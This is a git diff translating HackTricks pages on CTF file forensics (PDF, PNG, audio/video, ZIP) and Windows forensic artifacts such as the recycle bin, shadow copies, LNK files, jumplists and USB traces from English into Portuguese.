-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+O formato PDF é conhecido por sua complexidade e potencial para ocultar dados, tornando-se um ponto focal para desafios de forense em CTF. Ele combina elementos de texto simples com objetos binários, que podem ser comprimidos ou criptografados, e pode incluir scripts em linguagens como JavaScript ou Flash. Para entender a estrutura do PDF, pode-se consultar o [material introdutório de Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou usar ferramentas como um editor de texto ou um editor específico de PDF, como o Origami.
 
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
+Para exploração ou manipulação aprofundada de PDFs, ferramentas como [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf) estão disponíveis. Dados ocultos dentro de PDFs podem estar escondidos em:
 
-**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
+- Camadas invisíveis
+- Formato de metadados XMP da Adobe
+- Gerações incrementais
+- Texto com a mesma cor do fundo
+- Texto atrás de imagens ou imagens sobrepostas
+- Comentários não exibidos
 
-The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami.
-
-For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in:
-
-- Invisible layers
-- XMP metadata format by Adobe
-- Incremental generations
-- Text with the same color as the background
-- Text behind images or overlapping images
-- Non-displayed comments
-
-For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject.
+Para análise personalizada de PDF, bibliotecas Python como [PeepDF](https://github.com/jesparza/peepdf) podem ser usadas para criar scripts de parsing sob medida. Além disso, o potencial do PDF para armazenamento de dados ocultos é tão vasto que recursos como o guia da NSA sobre riscos e contramedidas de PDF, embora não esteja mais hospedado em sua localização original, ainda oferecem insights valiosos. Uma [cópia do guia](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e uma coleção de [truques do formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini podem fornecer mais leitura sobre o assunto.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
index 6108df028..694b0d7af 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md
@@ -1,9 +1,9 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies.
+**Arquivos PNG** são altamente valorizados em **desafios CTF** por sua **compressão sem perdas**, tornando-os ideais para embutir dados ocultos. Ferramentas como **Wireshark** permitem a análise de arquivos PNG ao dissecar seus dados dentro de pacotes de rede, revelando informações embutidas ou anomalias.
 
-For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants.
+Para verificar a integridade de arquivos PNG e reparar corrupção, **pngcheck** é uma ferramenta crucial, oferecendo funcionalidade de linha de comando para validar e diagnosticar arquivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando os arquivos estão além de consertos simples, serviços online como [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) fornecem uma solução baseada na web para **reparar PNGs corrompidos**, ajudando na recuperação de dados cruciais para os participantes do CTF.
 
-These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data.
+Essas estratégias ressaltam a importância de uma abordagem abrangente em CTFs, utilizando uma combinação de ferramentas analíticas e técnicas de reparo para descobrir e recuperar dados ocultos ou perdidos.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
index 3d2103987..d4de9f473 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md
@@ -1,16 +1,16 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types.
+**Manipulação de arquivos de áudio e vídeo** é um elemento básico em **desafios de forense CTF**, aproveitando **esteganografia** e análise de metadados para ocultar ou revelar mensagens secretas. Ferramentas como **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** são essenciais para inspecionar metadados de arquivos e identificar tipos de conteúdo.
 
-For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files.
+Para desafios de áudio, **[Audacity](http://www.audacityteam.org/)** se destaca como uma ferramenta de primeira linha para visualizar formas de onda e analisar espectrogramas, essenciais para descobrir texto codificado em áudio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** é altamente recomendado para análise detalhada de espectrogramas. **Audacity** permite manipulação de áudio, como desacelerar ou inverter faixas para detectar mensagens ocultas. **[Sox](http://sox.sourceforge.net/)**, uma utilidade de linha de comando, se destaca na conversão e edição de arquivos de áudio.
 
-**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**.
+A manipulação de **Bits Menos Significativos (LSB)** é uma técnica comum em esteganografia de áudio e vídeo, explorando os blocos de tamanho fixo de arquivos de mídia para embutir dados discretamente. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** é útil para decodificar mensagens ocultas como **tons DTMF** ou **código Morse**.
 
-Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions.
+Desafios de vídeo frequentemente envolvem formatos de contêiner que agrupam fluxos de áudio e vídeo. **[FFmpeg](http://ffmpeg.org/)** é a escolha ideal para analisar e manipular esses formatos, capaz de desmultiplexar e reproduzir conteúdo. Para desenvolvedores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra as capacidades do FFmpeg ao Python para interações avançadas e scriptáveis.
 
-This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files.
+Essa variedade de ferramentas destaca a versatilidade necessária em desafios CTF, onde os participantes devem empregar um amplo espectro de técnicas de análise e manipulação para descobrir dados ocultos em arquivos de áudio e vídeo.
 
-## References
+## Referências
 
 - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
 
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
index d4e17eb0d..10eb84590 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
@@ -2,17 +2,17 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities:
+**Ferramentas de linha de comando** para gerenciar **arquivos zip** são essenciais para diagnosticar, reparar e quebrar arquivos zip. Aqui estão algumas utilidades chave:
 
-- **`unzip`**: Reveals why a zip file may not decompress.
-- **`zipdetails -v`**: Offers detailed analysis of zip file format fields.
-- **`zipinfo`**: Lists contents of a zip file without extracting them.
-- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files.
-- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters.
+- **`unzip`**: Revela por que um arquivo zip pode não descompactar.
+- **`zipdetails -v`**: Oferece análise detalhada dos campos do formato de arquivo zip.
+- **`zipinfo`**: Lista o conteúdo de um arquivo zip sem extraí-lo.
+- **`zip -F input.zip --out output.zip`** e **`zip -FF input.zip --out output.zip`**: Tentam reparar arquivos zip corrompidos.
+- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Uma ferramenta para quebra de senhas zip por força bruta, eficaz para senhas de até cerca de 7 caracteres.
 
-The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files.
+A [especificação do formato de arquivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fornece detalhes abrangentes sobre a estrutura e os padrões dos arquivos zip.
 
-It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
+É crucial notar que arquivos zip protegidos por senha **não criptografam nomes de arquivos ou tamanhos de arquivos** dentro, uma falha de segurança que não é compartilhada com arquivos RAR ou 7z, que criptografam essas informações. Além disso, arquivos zip criptografados com o método mais antigo ZipCrypto são vulneráveis a um **ataque de texto simples** se uma cópia não criptografada de um arquivo compactado estiver disponível. Este ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo da HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada mais a fundo [neste artigo acadêmico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse ataque de texto simples, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis.
 
 ## References
 
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
index bf7543e9b..4fc8b70f1 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
@@ -1,504 +1,494 @@
-# Windows Artifacts
+# Artefatos do Windows
 
-## Windows Artifacts
+## Artefatos do Windows
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Generic Windows Artifacts
+## Artefatos Genéricos do Windows
 
-### Windows 10 Notifications
+### Notificações do Windows 10
 
-In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary).
+No caminho `\Users\\AppData\Local\Microsoft\Windows\Notifications` você pode encontrar o banco de dados `appdb.dat` (antes do aniversário do Windows) ou `wpndatabase.db` (após o Aniversário do Windows).
 
-Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data.
+Dentro deste banco de dados SQLite, você pode encontrar a tabela `Notification` com todas as notificações (em formato XML) que podem conter dados interessantes.
 
-### Timeline
+### Linha do Tempo
 
-Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications.
+A linha do tempo é uma característica do Windows que fornece **histórico cronológico** de páginas da web visitadas, documentos editados e aplicativos executados.
 
-The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
+O banco de dados reside no caminho `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Este banco de dados pode ser aberto com uma ferramenta SQLite ou com a ferramenta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que gera 2 arquivos que podem ser abertos com a ferramenta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
 
-### ADS (Alternate Data Streams)
+### ADS (Fluxos de Dados Alternativos)
 
-Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded.
+Arquivos baixados podem conter o **ADS Zone.Identifier** indicando **como** foi **baixado** da intranet, internet, etc. Alguns softwares (como navegadores) geralmente colocam até **mais** **informações** como a **URL** de onde o arquivo foi baixado.
 
-## **File Backups**
+## **Backups de Arquivos**
 
-### Recycle Bin
+### Lixeira
 
-In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\
-When a file is deleted in this folder 2 specific files are created:
+No Vista/Win7/Win8/Win10 a **Lixeira** pode ser encontrada na pasta **`$Recycle.bin`** na raiz da unidade (`C:\$Recycle.bin`).\
+Quando um arquivo é excluído nesta pasta, 2 arquivos específicos são criados:
 
-- `$I{id}`: File information (date of when it was deleted}
-- `$R{id}`: Content of the file
+- `$I{id}`: Informações do arquivo (data de quando foi excluído)
+- `$R{id}`: Conteúdo do arquivo
 
 ![](<../../../images/image (1029).png>)
 
-Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10).
-
+Tendo esses arquivos, você pode usar a ferramenta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obter o endereço original dos arquivos excluídos e a data em que foram excluídos (use `rifiuti-vista.exe` para Vista – Win10).
 ```
 .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
 ```
-
 ![](<../../../images/image (495) (1) (1) (1).png>)
 
-### Volume Shadow Copies
+### Cópias de Sombra de Volume
 
-Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use.
+A Cópia de Sombra é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de backup** ou instantâneas de arquivos ou volumes de computador, mesmo quando estão em uso.
 
-These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image:
+Esses backups geralmente estão localizados em `\System Volume Information` na raiz do sistema de arquivos e o nome é composto por **UIDs** mostrados na imagem a seguir:
 
 ![](<../../../images/image (94).png>)
 
-Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups.
+Montando a imagem forense com o **ArsenalImageMounter**, a ferramenta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) pode ser usada para inspecionar uma cópia de sombra e até mesmo **extrair os arquivos** dos backups de cópia de sombra.
 
 ![](<../../../images/image (576).png>)
 
-The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**:
+A entrada do registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contém os arquivos e chaves **para não fazer backup**:
 
 ![](<../../../images/image (254).png>)
 
-The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`.
+O registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` também contém informações de configuração sobre as `Cópias de Sombra de Volume`.
 
-### Office AutoSaved Files
+### Arquivos AutoSalvos do Office
 
-You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
+Você pode encontrar os arquivos auto-salvos do office em: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
 
-## Shell Items
+## Itens de Shell
 
-A shell item is an item that contains information about how to access another file.
+Um item de shell é um item que contém informações sobre como acessar outro arquivo.
 
-### Recent Documents (LNK)
+### Documentos Recentes (LNK)
 
-Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in:
+O Windows **cria automaticamente** esses **atalhos** quando o usuário **abre, usa ou cria um arquivo** em:
 
 - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
 - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
 
-When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created.
+Quando uma pasta é criada, um link para a pasta, para a pasta pai e para a pasta avó também é criado.
 
-These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed.
+Esses arquivos de link criados automaticamente **contêm informações sobre a origem** como se é um **arquivo** **ou** uma **pasta**, **tempos MAC** desse arquivo, **informações de volume** de onde o arquivo está armazenado e **pasta do arquivo de destino**. Essas informações podem ser úteis para recuperar esses arquivos caso tenham sido removidos.
 
-Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used.
+Além disso, a **data de criação do link** é a primeira **vez** que o arquivo original foi **usado** e a **data** **modificada** do arquivo de link é a **última** **vez** que o arquivo de origem foi usado.
 
-To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/).
+Para inspecionar esses arquivos, você pode usar [**LinkParser**](http://4discovery.com/our-tools/).
 
-In this tools you will find **2 sets** of timestamps:
+Nesta ferramenta, você encontrará **2 conjuntos** de timestamps:
 
-- **First Set:**
-  1. FileModifiedDate
-  2. FileAccessDate
-  3. FileCreationDate
-- **Second Set:**
-  1. LinkModifiedDate
-  2. LinkAccessDate
-  3. LinkCreationDate.
+- **Primeiro Conjunto:**
+1. FileModifiedDate
+2. FileAccessDate
+3. FileCreationDate
+- **Segundo Conjunto:**
+1. LinkModifiedDate
+2. LinkAccessDate
+3. LinkCreationDate.
 
-The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**.
-
-You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
+O primeiro conjunto de timestamps refere-se aos **timestamps do próprio arquivo**. O segundo conjunto refere-se aos **timestamps do arquivo vinculado**.
 
+Você pode obter as mesmas informações executando a ferramenta CLI do Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
 ```
 LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
 ```
-
-In this case, the information is going to be saved inside a CSV file.
+Neste caso, as informações serão salvas dentro de um arquivo CSV.
 
 ### Jumplists
 
-These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**.
+Estes são os arquivos recentes que são indicados por aplicativo. É a lista de **arquivos recentes usados por um aplicativo** que você pode acessar em cada aplicativo. Eles podem ser criados **automaticamente ou ser personalizados**.
 
-The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application.
+Os **jumplists** criados automaticamente são armazenados em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Os jumplists são nomeados seguindo o formato `{id}.autmaticDestinations-ms`, onde o ID inicial é o ID do aplicativo.
 
-The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite)
+Os jumplists personalizados são armazenados em `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e são criados pelo aplicativo geralmente porque algo **importante** aconteceu com o arquivo (talvez marcado como favorito).
 
-The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**.
+O **tempo de criação** de qualquer jumplist indica **a primeira vez que o arquivo foi acessado** e o **tempo modificado da última vez**.
 
-You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
+Você pode inspecionar os jumplists usando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
 
 ![](<../../../images/image (168).png>)
 
-(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_)
+(_Observe que os timestamps fornecidos pelo JumplistExplorer estão relacionados ao arquivo jumplist em si_)
 
 ### Shellbags
 
-[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags)
+[**Siga este link para aprender o que são os shellbags.**](interesting-windows-registry-keys.md#shellbags)
 
-## Use of Windows USBs
+## Uso de USBs do Windows
 
-It's possible to identify that a USB device was used thanks to the creation of:
+É possível identificar que um dispositivo USB foi usado graças à criação de:
 
-- Windows Recent Folder
-- Microsoft Office Recent Folder
+- Pasta Recentes do Windows
+- Pasta Recentes do Microsoft Office
 - Jumplists
 
-Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder:
+Observe que alguns arquivos LNK, em vez de apontar para o caminho original, apontam para a pasta WPDNSE:
 
 ![](<../../../images/image (218).png>)
 
-The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag.
+Os arquivos na pasta WPDNSE são uma cópia dos originais, portanto, não sobreviverão a uma reinicialização do PC e o GUID é retirado de um shellbag.
 
-### Registry Information
+### Informações do Registro
 
-[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices.
+[Verifique esta página para aprender](interesting-windows-registry-keys.md#usb-information) quais chaves de registro contêm informações interessantes sobre dispositivos USB conectados.
 
 ### setupapi
 
-Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`).
+Verifique o arquivo `C:\Windows\inf\setupapi.dev.log` para obter os timestamps sobre quando a conexão USB foi produzida (procure por `Section start`).
 
-![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
+![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
 
 ### USB Detective
 
-[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image.
+[**USBDetective**](https://usbdetective.com) pode ser usado para obter informações sobre os dispositivos USB que foram conectados a uma imagem.
 
 ![](<../../../images/image (452).png>)
 
-### Plug and Play Cleanup
+### Limpeza de Plug and Play
 
-The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion.
+A tarefa agendada conhecida como 'Limpeza de Plug and Play' é projetada principalmente para a remoção de versões de driver desatualizadas. Ao contrário de seu propósito especificado de reter a versão mais recente do pacote de driver, fontes online sugerem que também visa drivers que estiveram inativos por 30 dias. Consequentemente, drivers para dispositivos removíveis não conectados nos últimos 30 dias podem estar sujeitos à exclusão.
 
-The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
+A tarefa está localizada no seguinte caminho: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
 
-A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
+Uma captura de tela mostrando o conteúdo da tarefa é fornecida: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
 
-**Key Components and Settings of the Task:**
+**Componentes e Configurações Principais da Tarefa:**
 
-- **pnpclean.dll**: This DLL is responsible for the actual cleanup process.
-- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine.
+- **pnpclean.dll**: Este DLL é responsável pelo processo de limpeza real.
+- **UseUnifiedSchedulingEngine**: Definido como `TRUE`, indicando o uso do mecanismo de agendamento de tarefas genérico.
 - **MaintenanceSettings**:
-  - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance.
-  - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance.
+- **Period ('P1M')**: Direciona o Agendador de Tarefas a iniciar a tarefa de limpeza mensalmente durante a manutenção automática regular.
+- **Deadline ('P2M')**: Instruções ao Agendador de Tarefas, se a tarefa falhar por dois meses consecutivos, para executar a tarefa durante a manutenção automática de emergência.
 
-This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures.
+Esta configuração garante manutenção e limpeza regulares dos drivers, com disposições para reattemptar a tarefa em caso de falhas consecutivas.
 
-**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
+**Para mais informações, verifique:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
 
 ## Emails
 
-Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like:
+Os emails contêm **2 partes interessantes: Os cabeçalhos e o conteúdo** do email. Nos **cabeçalhos** você pode encontrar informações como:
 
-- **Who** sent the emails (email address, IP, mail servers that have redirected the email)
-- **When** was the email sent
+- **Quem** enviou os emails (endereço de email, IP, servidores de email que redirecionaram o email)
+- **Quando** o email foi enviado
 
-Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages:
+Além disso, dentro dos cabeçalhos `References` e `In-Reply-To`, você pode encontrar o ID das mensagens:
 
 ![](<../../../images/image (593).png>)
 
-### Windows Mail App
+### Aplicativo de Email do Windows
 
-This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension.
+Este aplicativo salva emails em HTML ou texto. Você pode encontrar os emails dentro de subpastas em `\Users\\AppData\Local\Comms\Unistore\data\3\`. Os emails são salvos com a extensão `.dat`.
 
-The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol`
+Os **metadados** dos emails e os **contatos** podem ser encontrados dentro do **banco de dados EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol`
 
-**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails.
